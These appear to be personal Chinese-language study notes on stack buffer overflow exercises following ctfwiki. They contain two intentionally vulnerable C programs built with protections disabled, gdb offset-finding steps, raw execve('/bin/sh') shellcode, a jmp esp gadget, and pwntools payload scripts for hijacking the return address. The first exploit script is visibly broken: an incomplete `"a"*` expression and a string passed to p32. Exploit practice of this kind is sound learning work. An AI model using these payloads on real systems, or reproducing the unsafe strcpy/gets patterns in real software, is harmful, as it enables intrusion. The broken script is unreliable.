根據ctfwiki的順序來複習
例一:test
#include <stdio.h>
#include <string.h>
void SayHello(char* name)
{
char tmpName[60];
// buffer overflow
strcpy(tmpName, name);
printf("Hello %s\n", tmpName);
}
int main(int argc, char** argv)
{
if (argc != 2) {
printf("Usage: hello <name>.\n");
return 1;
}
SayHello(argv[1]);
return 0;
}
g++ 1.cpp -g -o testlinux -zexecstack -fno-stack-protector編譯成可執行檔案,關閉了各種保護
gdb調試,先在main函數處下斷,然後run (r`python -c 'print "a"*100'`),将python的輸出作為參數傳遞給程式運作起來
然後ni 到call sayhello ,進入函數之後先記錄一下esp,因為這是函數的傳回位址(esp 0xffffd1dc)
然後一直ni,知道執行完strcpy。
然後x/40xw $esp 檢視棧中情況,或者x/40xw tmpName 可看出0xffffd1dc的地方已被我輸入的a覆寫,
是以計算一下需要覆寫的長度0xffffd1dc-0xffffd194=72.
我們可以執行的shellcode的長度為72,我們就用execve("/bin/sh",null,null)
尋找可用gadget 這裡需要esp跳轉到shellcode處,
我在libc找一個jmp esp,指令是 asmsearch "jmp esp" libc
0xf7f3ed0f : (ffe4) jmp esp 找到跳闆
是以構造payload
payload=72個a|jumesp|shellcode
腳本為
from pwn import *
shellcode="\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x5b\xc1\xeb\x10\xc1\xeb\x08\x53\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80"
input="a"*
jmpesp="0xf7f3ed0f"
re=input+p32(jmpesp)+shellcode
print re
将此腳本的輸出作為參數傳入
r`python linuxtest.py`
例二:test
#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
char s[12];
gets(s);
puts(s);
return;
}
int main(int argc, char **argv) {
vulnerable();
return 0;
}
要讓程式執行success函數,就得覆寫vulnerable函數的傳回位址為success的函數位址
gdb調試,檢視success函數的位址
disas success可檢視success函數的位址為0x08048404
計算我們輸入的字元串到ebp的距離
pattern create 150然後run,
然後pattern offset $ebp,可算出與ebp距離20
payload = 'a'*24+p32(success位址)
碎碎念
論複習的重要性,複習才知道自己有多菜,學會的東西過段時間就忘啦,還是要多加練習,好好學習吧